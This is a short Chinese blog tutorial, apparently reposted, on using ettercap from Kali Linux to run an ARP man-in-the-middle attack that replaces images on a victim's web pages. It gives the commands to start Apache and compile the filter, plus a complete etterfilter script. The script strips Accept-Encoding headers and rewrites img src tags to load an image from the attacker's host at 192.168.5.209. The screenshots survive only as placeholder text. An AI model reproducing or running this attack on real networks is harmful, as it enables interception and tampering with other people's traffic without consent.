中间人攻击替换图片

一:先准备一张图片

请输入图片描述

恩恩!低调点好!
我们将图片放大kali的var/www/html目录下

二:启动Apache


 
  • servce apache2 start

请输入图片描述

三:编写攻击脚本


 
  • if (ip.proto == TCP && tcp.dst == 80) {
  • if (search(DATA.data, "Accept-Encoding")) {
  • replace("Accept-Encoding", "Accept-Rubbish!");
  • # note: replacement string is same length as original string
  • #msg("zapped Accept-Encoding! ");
  • }
  • }
  • if (ip.proto == TCP && tcp.src == 80) {
  • replace("img src=", "img src=http://192.168.5.209/img.jpg/&' ");
  • replace("IMG SRC=", "img src=http:/192.168.5.209/img.jpg/&' ");
  • msg("过滤执行. ");
  • }

然后另存为alert.filter文件

四:将alert.filter转变为二进制文件


 
  • etterfilter alert.filter -o alert.ef

请输入图片描述

五:利用ettercap进行中间人攻击

将目标添加为1 路由器自身添加为2
请输入图片描述
然后我们载入刚才生成的脚本
请输入图片描述
然后开始中间人攻击
请输入图片描述

原文地址:https://www.cnblogs.com/chk141/p/12220294.html